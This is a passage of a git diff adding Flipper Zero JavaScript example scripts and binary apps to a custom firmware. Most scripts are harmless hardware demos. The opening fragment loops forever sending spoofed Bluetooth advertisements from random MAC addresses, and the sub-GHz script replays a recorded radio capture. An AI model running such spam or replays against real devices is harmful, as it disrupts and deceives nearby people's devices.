intervalMs = 50; + + // Power level, min interval and max interval are optional + blebeacon.setConfig(generateRandomMac(), 0x1F, intervalMs, intervalMs * 3); + + blebeacon.setData(Uint8Array(packet)); + + blebeacon.start(); + + print("Sent data for model ID " + to_string(model)); + + currentIndex = (currentIndex + 1) % watchValues.length; + + delay(intervalMs); + + blebeacon.stop(); +} + +while (true) { + sendRandomModelAdvertisement(); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js new file mode 100644 index 000000000..06d394c53 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js @@ -0,0 +1,5 @@ +print("print", 1); +console.log("log", 2); +console.warn("warn", 3); +console.error("error", 4); +console.debug("debug", 5); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js new file mode 100644 index 000000000..c63877f8e --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js @@ -0,0 +1,36 @@ +let gpio = require("gpio"); +let pins = ["PA7", "PA6", "PA4", "PB3", "PB2", "PC3"]; +for (let i=0; i 0) { + print("!!!", failed, "Unit tests failed !!!"); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js new file mode 100644 index 000000000..20f60c732 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js @@ -0,0 +1,9 @@ +let notify = require("notification"); +notify.error(); +delay(1000); +notify.success(); +delay(1000); +for (let i = 0; i < 10; i++) { + notify.blink("red", "short"); + delay(500); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js new file mode 100644 index 000000000..0381150d2 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js @@ -0,0 +1,9 @@ +let storage = require("storage"); + +print("script has __dirpath of" + __dirpath); +print("script has __filepath of" + __filepath); +if (storage.exists(__dirpath + "/math.js")) { + print("math.js exist here."); +} else { + print("math.js does not exist here."); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js new file mode 100644 index 000000000..d0ad5f344 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js @@ -0,0 +1,62 @@ +// SK9822 RGB LED strip example + +let gpio = require("gpio"); +gpio.init("PC3", "outputPushPull", "no"); // pin, mode, pull +print("PC3 is clock"); +gpio.init("PA7", "outputPushPull", "no"); // pin, mode, pull +print("PA7 is data"); + +function writeByte(data) { + for (let i = 0; i < 8; i++) { + let mask = 1 << (7 - i); + gpio.write("PA7", (data & mask) === mask); + gpio.write("PC3", true); + gpio.write("PC3", false); + } +} + +function writeStart() { + writeByte(0); + writeByte(0); + writeByte(0); + writeByte(0); +} + +function writeStop(b) { + writeByte(b); + writeByte(b); + writeByte(b); + writeByte(b); +} + +function writeColor(r, g, b, i) { + writeByte(0xE0 | (i & 31)); + writeByte(b); + writeByte(g); + writeByte(r); +} + + +// read value from PC1 and write it to PC3 +let maxIntensity = 31; +let intensity = 0; +while (true) { + writeStart(); + writeColor(255, 0, 0, intensity); + writeColor(0, 255, 0, intensity); + writeColor(0, 0, 255, intensity); + writeColor(255, 255, 255, intensity); + writeColor(255, 255, 0, intensity); + writeColor(255, 0, 255, intensity); + writeColor(0, 255, 255, intensity); + writeColor(1, 0, 0, intensity); + writeColor(4, 0, 0, intensity); + writeColor(16, 0, 0, intensity); + writeColor(64, 0, 0, intensity); + writeStop(0); + delay(20); + intensity++; + if (intensity > maxIntensity) { + intensity = 1; + } +} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js new file mode 100644 index 000000000..bca6c4c96 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js @@ -0,0 +1,40 @@ +// By jamisonderek +// For documentation on this API's use, see: +// https://github.com/jamisonderek/flipper-zero-tutorials/blob/main/js/ +({ + _acquired: false, + _acquire: ffi("int furi_hal_speaker_acquire(int)"), + _release: ffi("void furi_hal_speaker_release(void)"), + start: ffi("void furi_hal_speaker_start(float, float)"), + stop: ffi("void furi_hal_speaker_stop(void)"), + acquire: function (timeout) { + if (!this._acquired) { + this._acquired = this._acquire(timeout); + } + return this._acquired; + }, + acquired: function () { + return this._acquired; + }, + release: function () { + if (this._acquired) { + this._release(); + this._acquired = false; + } + }, + play: function (frequency, volume, duration) { + let already_acquired = this.acquired(); + if (!already_acquired) { + this.acquire(1000); + }; + if (this.acquired()) { + this.start(frequency, volume); + delay(duration); + this.stop(); + } + if (!already_acquired) { + this.release(); + } + }, +} +) \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md new file mode 100644 index 000000000..ddd9b6d82 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md @@ -0,0 +1,14 @@ +# Speaker + +A JavaScript that plays tones using the `ffi` commands. The advantage of the `ffi` commands is that they can run on firmware without requiring a particular module `.fal` file to exist on the Flipper. Thanks to [Freehuntx](https://github.com/Freehuntx) for the various examples of using `ffi`. + +## How to use +Copy the `speaker.js` file and `speaker_api.js` file to your Flipper Zero, typically the `SD Card/app/Scrips` folder. You can then run the script (on your Flipper press `OK` then choose `Apps`, `Scripts`, `speaker.js`). + +NOTE: The script uses the `__dirpath` variable to locate the `speaker_api.js` file. Some frameworks don't support this variable yet, so you may need to adjust the path to the `speaker_api.js` file. For example change the first line of speaker.js to the following: +```js +let Speaker = load("/ext/apps/Scripts/speaker_api.js"); +``` + +For an `ffi` version of script that obtains the same data as `__dirpath` see [this Discord post]( +https://discord.com/channels/1211622338198765599/1220056596638597327) by @Freehuntx. \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js new file mode 100644 index 000000000..3ba2f25e1 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js @@ -0,0 +1,4 @@ +let Speaker = load(__dirpath + "/speaker_api.js"); + +Speaker.play(440, 1.0, 500); +Speaker.play(880, 1.0, 500); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js new file mode 100644 index 000000000..fd2ba4a4f --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js @@ -0,0 +1,46 @@ +let storage = require("storage"); +let path = "/ext/storage.test"; + +function arraybuf_to_string(arraybuf) { + let string = ""; + let data_view = Uint8Array(arraybuf); + for (let i = 0; i < data_view.length; i++) { + string += chr(data_view[i]); + } + return string; +} + +print("File exists:", storage.exists(path)); + +print("Writing..."); +// write(path, data, offset) +// If offset is specified, the file is not cleared, content is kept and data is written at specified offset +// Takes both strings and array buffers +storage.write(path, "Hello "); + +print("File exists:", storage.exists(path)); + +// Append will create the file even if it doesnt exist! +// Takes both strings and array buffers +storage.append(path, "World!"); + +print("Reading..."); +// read(path, size, offset) +// If no size specified, total filesize is used +// If offset is specified, size is capped at (filesize - offset) +let data = storage.read(path); +// read returns an array buffer, to allow proper usage of raw binary data +print(arraybuf_to_string(data)); + +print("Removing...") +storage.remove(path); + +print("Done") + +// There's also: +// storage.copy(old_path, new_path); +// storage.move(old_path, new_path); +// storage.mkdir(path); +// storage.virtualInit(path); +// storage.virtualMount(); +// storage.virtualQuit(); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js new file mode 100644 index 000000000..51781328d --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js @@ -0,0 +1,19 @@ +let sampleText = "Hello, World!"; + +let lengthOfText = "Length of text: " + to_string(sampleText.length); +print(lengthOfText); + +let start = 7; +let end = 12; +let substringResult = sampleText.slice(start, end); +print(substringResult); + +let searchStr = "World"; +let result2 = to_string(sampleText.indexOf(searchStr)); +print(result2); + +let upperCaseText = "Text in upper case: " + to_upper_case(sampleText); +print(upperCaseText); + +let lowerCaseText = "Text in lower case: " + to_lower_case(sampleText); +print(lowerCaseText); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js new file mode 100644 index 000000000..b5e54bac6 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js @@ -0,0 +1,45 @@ +let subghz = require("subghz"); +subghz.setup(); + +function printRXline() { + if (subghz.getState() !== "RX") { + subghz.setRx(); // to RX + } + + let rssi = subghz.getRssi(); + let freq = subghz.getFrequency(); + let ext = subghz.isExternal(); + + print("rssi: ", rssi, "dBm", "@", freq, "MHz", "ext: ", ext); +} + +function changeFrequency(freq) { + if (subghz.getState() !== "IDLE") { + subghz.setIdle(); // need to be idle to change frequency + } + subghz.setFrequency(freq); +} + +subghz.setIdle(); +print(subghz.getState()); // "IDLE" +subghz.setRx(); +print(subghz.getState()); // "RX" + +changeFrequency(433920000); +printRXline(); +delay(1000); + +print("Sending 0.sub") +subghz.transmitFile("/ext/subghz/0.sub"); +// Can also specify repeat count: subghz.transmitFile(path, repeat) +// If not provided, defaults to 1 repeat for RAW and 10 repeats for parsed +// These 10 repeats by default are to simulate holding the button on remote +print("Send success"); +delay(1000); + +changeFrequency(315000000); +printRXline(); + +// Optional, done automatically at script end +subghz.end() +// But can be used to setup again, which will retry to detect external modules \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js new file mode 100644 index 000000000..245551309 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js @@ -0,0 +1,11 @@ +let submenu = require("submenu"); + +submenu.addItem("Item 1", 0); +submenu.addItem("Item 2", 1); +submenu.addItem("Item 3", 2); + +submenu.setHeader("Select an option:"); + +let result = submenu.show(); +// Returns undefined when pressing back +print("Result:", result); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js new file mode 100644 index 000000000..6caf37234 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js @@ -0,0 +1,30 @@ +let textbox = require("textbox"); + +// You should set config before adding text +// Focus (start / end), Font (text / hex) +textbox.setConfig("end", "text"); + +// Can make sure it's cleared before showing, in case of reusing in same script +// (Closing textbox already clears the text, but maybe you added more in a loop for example) +textbox.clearText(); + +// Add default text +textbox.addText("Example dynamic updating textbox\n"); + +// Non-blocking, can keep updating text after, can close in JS or in GUI +textbox.show(); + +let i = 0; +while (textbox.isOpen() && i < 20) { + print("console", i++); + + // Add text to textbox buffer + textbox.addText("textbox " + to_string(i) + "\n"); + + delay(500); +} + +// If not closed by user (instead i < 20 is false above), close forcefully +if (textbox.isOpen()) { + textbox.close(); +} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md new file mode 100644 index 000000000..ea1ed54cb --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md @@ -0,0 +1,35 @@ +# vgm_sensor tutorial + +This is an example of extending JavaScript for the Flipper Zero. The files were used in the [YouTube video](https://youtu.be/EtOZN3Rh47c) which demonstrates the process in detail. + +Our [a_demo.js](./a_demo.js) script will play a tone using the speaker module. It will then display sensor information from the video game module. + +The [tone_rotate.js](./tone_rotate.js) script will play a tone using the speaker module. As you rotate the Flipper (change the yaw reading) the frequency of the tone will increase or decrese. + +Copy the [a_demo.js](./a_demo.js) and [tone_rotate.js](./tone_rotate.js) files to your `SD Card/apps/Scripts` directory. You can then run the scripts from the Flipper Zero (`Apps`, `Scripts`, `a_demo.js`). + +## Prebuilt apps +You can copy one of the FAL files from [prebuilt](./prebuilt/) onto `SD Card/apps_data/js_app/plugins/js_vgm.fal` and then you will be able to do `let vgm = require("vgm");`. The prebuilt files exposes the 4 APIs (getPitch, getRoll, getYaw, deltaYaw) from the video and they also expose a (`play(440,1.0,250);`) command -- since I wanted to see what would happen if I used furi_hal_speaker APIs in my module code. If you use the wrong one for your firmware, you will get `"vgm" module load fail`. You can also copy [tone_rotate_native.js](./prebuilt/tone_rotate_native.js) to the `SD Card/apps/Scripts/tone_rotate_native.js`. Running the script (`Apps`, `Scripts`, `tone_rotate_native`) should play tones as you rotate your Flipper with the VGM attached. + +## Installing the JS speaker_api module +We wrote the speaker_api module in JavaScript (using furi_hal_xxx APIs to expose a new speaker module). This file [speaker_api.js](./speaker_api.js) should be copied to your `SD Card/apps/Scripts` directory. Once copied, your scripts can do a `let speaker = load(__dirpath + "/speaker_api.js");` and then `speaker.playTone(440, 1.0, 500);` to play a 440Hz tone, at full volume for 500ms. This file is a good example of how to use FFI to extend the Flipper Zero. If your APIs are part of the firmware, and don't use enumeration values, this is a good technqiue to use. (If they use enumeration values, it's possible that the values will change in the future, and your script will reference the improper id values.) + +## Installing the C (js_vgm) module +To expose the sensor APIs to JavaScript we used a second technique of creating a module in C and compiling it into the firmware. This is a more robust technique, but requires more work for everyone that want to use the module. If you are using enumeration values, they get resolved at compile time so they will always be correct. You are able to include additional files in your C module, so you can access APIs that aren't part of the firmware (for example, accessing the sensors in the video game module). The downside is that you have to write C code, and everyone that wants to run your script needs to have their firmware compiled with your module. + +To add the native C module to your firmware: +- Follow the steps in [Clone & Deploy firmware](https://github.com/jamisonderek/flipper-zero-tutorials/wiki/Install-Firmware-and-Apps#clone--deploy-firmware) instructions. +- Copy the [js_vgm](./js_vgm) folder to your firmware's `applications/system/js_app/modules/js_vgm` directory on your computer. +- Update your application.fam for js_app, adding an entry in your firmware's `applications/system/js_app/application.fam` file to include the js_vgm module at the bottom of the file. It should look like the following: +```c +App( + appid="js_vgm", + apptype=FlipperAppType.PLUGIN, + entry_point="js_vgm_ep", + requires=["js_app"], + sources=["modules/js_vgm/*.c", "modules/js_vgm/ICM42688P/*.c"], +) +``` +- Recompile your firmware and deploy it to your Flipper Zero. (e.g. Run step 7 again in the *Clone & Deploy firmware* instructions.) + +NOTE: If you create a useful module, you should try to make a pull-request to the firmware, so that other people can use your module without having to recompile the firmware. \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js new file mode 100644 index 000000000..6027098df --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js @@ -0,0 +1,38 @@ +let vgm = require("vgm"); +let __dirpath = "/ext/apps/Scripts"; +let speaker = load(__dirpath + "/speaker_api.js"); + +let min_delta_angle = 29.98; +let max_wait_ms = 10000; +let freq_hz = 440; + +//Uncomment below to test for various test cases... +//print(vgm.deltaYaw("30.312", 1000)); // Invalid arg (angle). +//print(vgm.deltaYaw()); // Invalid args. Pass (angle, [timeout]). Got 0 args. +//print(vgm.deltaYaw(1,2,3)); // Invalid args. Pass (angle, [timeout]). Got 3 args. +//print(vgm.deltaYaw(29.98, 1000)); // This should work fine. + +// Show the pitch, roll, and yaw values for 5 seconds +for (let i = 0; i < 5; i++) { + print("P", vgm.getPitch(), "R", vgm.getRoll(), "Y", vgm.getYaw()); + delay(1000); +} + +// Play a sound that changes pitch based on yaw +for (let i = 0; i < 500; i++) { + print("Freq", freq_hz, "Hz"); + speaker.play(freq_hz, 1.0, 250); + + let delta = vgm.deltaYaw(min_delta_angle, max_wait_ms); + if (delta === undefined) { + print("No VGM detected. Exiting..."); + break; + } + delta /= (min_delta_angle / 1.02); + + if (delta > 0) { + freq_hz *= delta; + } else if (delta < 0) { + freq_hz /= -delta; + } +} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js new file mode 100644 index 000000000..9458a6069 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js @@ -0,0 +1,40 @@ +let vgm = require("vgm"); +//The pre-built vgm exposes a .play function, so we don't need the speaker_api.js file. +//let __dirpath = "/ext/apps/Scripts"; +//let speaker = load(__dirpath + "/speaker_api.js"); + +let min_delta_angle = 29.98; +let max_wait_ms = 10000; +let freq_hz = 440; + +//Uncomment below to test for various test cases... +//print(vgm.deltaYaw("30.312", 1000)); // Invalid arg (angle). +//print(vgm.deltaYaw()); // Invalid args. Pass (angle, [timeout]). Got 0 args. +//print(vgm.deltaYaw(1,2,3)); // Invalid args. Pass (angle, [timeout]). Got 3 args. +//print(vgm.deltaYaw(29.98, 1000)); // This should work fine. + +// Show the pitch, roll, and yaw values for 5 seconds +for (let i = 0; i < 3; i++) { + print("P", vgm.getPitch(), "R", vgm.getRoll(), "Y", vgm.getYaw()); + delay(1000); +} + +// Play a sound that changes pitch based on yaw +for (let i = 0; i < 500; i++) { + print("Freq", freq_hz, "Hz"); + // speaker.play(freq_hz, 1.0, 250); + vgm.play(freq_hz, 1.0, 250); + + let delta = vgm.deltaYaw(min_delta_angle, max_wait_ms); + if (delta === undefined) { + print("No VGM detected. Exiting..."); + break; + } + delta /= (min_delta_angle / 1.02); + + if (delta > 0) { + freq_hz *= delta; + } else if (delta < 0) { + freq_hz /= -delta; + } +} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js new file mode 100644 index 000000000..1cc0d8e62 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js @@ -0,0 +1,14 @@ +let serial = require("serial"); +serial.setup("usart", 230400); + +while (1) { + let rx_data = serial.readBytes(1, 0); + if (rx_data !== undefined) { + serial.write(rx_data); + let data_view = Uint8Array(rx_data); + print("0x" + to_hex_string(data_view[0])); + } +} + +// There's also serial.end(), so you can serial.setup() again in same script +// You can also use serial.readAny(timeout), will avoid starving your loop with single byte reads diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js new file mode 100644 index 000000000..df9b1ab3e --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js @@ -0,0 +1,13 @@ +let usbdisk = require("usbdisk"); +let image = "/ext/apps_assets/mass_storage/test.img"; +// print("Creating image..."); +// usbdisk.createImage("/ext/apps_data/mass_storage/128MB.img", 128 * 1024 * 1024); +print("Starting UsbDisk..."); +usbdisk.start(image); +print("Started, waiting until ejected..."); +while (!usbdisk.wasEjected()) { + delay(1000); +} +print("Ejected, stopping UsbDisk..."); +usbdisk.stop(); +print("Done"); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm b/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm new file mode 100644 index 000000000..9ba5783ce Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js new file mode 100644 index 000000000..4ff11e441 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js @@ -0,0 +1,59 @@ +let widget = require("widget"); + +let demo_seconds = 30; + +print("Loading file", __filepath); +print("From directory", __dirpath); + +// addText supports "Primary" and "Secondary" font sizes. +widget.addText(10, 10, "Primary", "Example JS widget"); +widget.addText(10, 20, "Secondary", "Example widget from JS!"); + +// load a Xbm file from the same directory as this script. +widget.addText(0, 30, "Secondary", __filepath); +let logo = widget.loadImageXbm(__dirpath + "/widget-js.fxbm"); + +// add a line (x1, y1, x2, y2) +widget.addLine(10, 35, 120, 35); + +// add a circle/disc (x, y, radius) +widget.addCircle(12, 52, 10); +widget.addDisc(12, 52, 5); + +// add a frame/box (x, y, width, height) +widget.addFrame(30, 45, 10, 10); +widget.addBox(32, 47, 6, 6); + +// add a rounded frame/box (x, y, width, height, radius) +widget.addRframe(50, 45, 15, 15, 3); +widget.addRbox(53, 48, 6, 6, 2); + +// add a dot (x, y) +widget.addDot(100, 45); +widget.addDot(102, 44); +widget.addDot(104, 43); + +// add a glyph (x, y, glyph) +widget.addGlyph(115, 50, "#".charCodeAt(0)); + +// Show the widget (drawing the layers in the orderer they were added) +widget.show(); + +let i = 1; +let bitmap = undefined; +while (widget.isOpen() && i <= demo_seconds) { + // Print statements will only show up once the widget is closed. + print("count is at", i++); + + // You can call remove on any added item, it does not impact the other ids. + if (bitmap) { widget.remove(bitmap); bitmap = undefined; } + // All of the addXXX functions return an id that can be used to remove the item. + else { bitmap = widget.addXbm(77, 45, logo); } + + delay(1000); +} + +// If user did not press the back button, close the widget. +if (widget.isOpen()) { + widget.close(); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap new file mode 100644 index 000000000..db64d0b57 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap new file mode 100644 index 000000000..efd8fd906 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap new file mode 100644 index 000000000..c3814872f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap new file mode 100644 index 000000000..37b6f5e37 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/dolphin_trainer.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/dolphin_trainer.fap new file mode 100644 index 000000000..8e2b0d0a3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/dolphin_trainer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/expansion_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/expansion_settings.fap new file mode 100644 index 000000000..f22ec8641 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/expansion_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/extendrange.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/extendrange.fap new file mode 100644 index 000000000..f4251333f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/extendrange.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/gauge_tool.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/gauge_tool.fap new file mode 100644 index 000000000..123e2d56b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/gauge_tool.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap new file mode 100644 index 000000000..eaedc887d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap new file mode 100644 index 000000000..1552a5cd6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap new file mode 100644 index 000000000..55a35508a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap new file mode 100644 index 000000000..a56dbe970 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/smack_my_dolphin_up.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/smack_my_dolphin_up.fap new file mode 100644 index 000000000..7c3d2da97 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/smack_my_dolphin_up.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap new file mode 100644 index 000000000..c86bdb407 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/system_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/system_settings.fap new file mode 100644 index 000000000..deeaa6dba Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/system_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/esubghz_chat.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/esubghz_chat.fap new file mode 100644 index 000000000..cccb020d9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/esubghz_chat.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap new file mode 100644 index 000000000..4f8eeab1d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap new file mode 100644 index 000000000..fe3f4fc64 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap new file mode 100644 index 000000000..542ce339c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/marmalade_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/marmalade_app.fap new file mode 100644 index 000000000..dd0d00fec Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/marmalade_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap new file mode 100644 index 000000000..4ac9e9b13 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap new file mode 100644 index 000000000..3225e0261 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/protoview.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/protoview.fap new file mode 100644 index 000000000..14d7f8cc4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/protoview.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/radio_scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/radio_scanner.fap new file mode 100644 index 000000000..52b036dd9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/radio_scanner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap new file mode 100644 index 000000000..d618ae1de Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/shapshup.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/shapshup.fap new file mode 100644 index 000000000..49a56bd85 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/shapshup.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/spectrum_analyzer.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/spectrum_analyzer.fap new file mode 100644 index 000000000..c2f66e88c Binary files 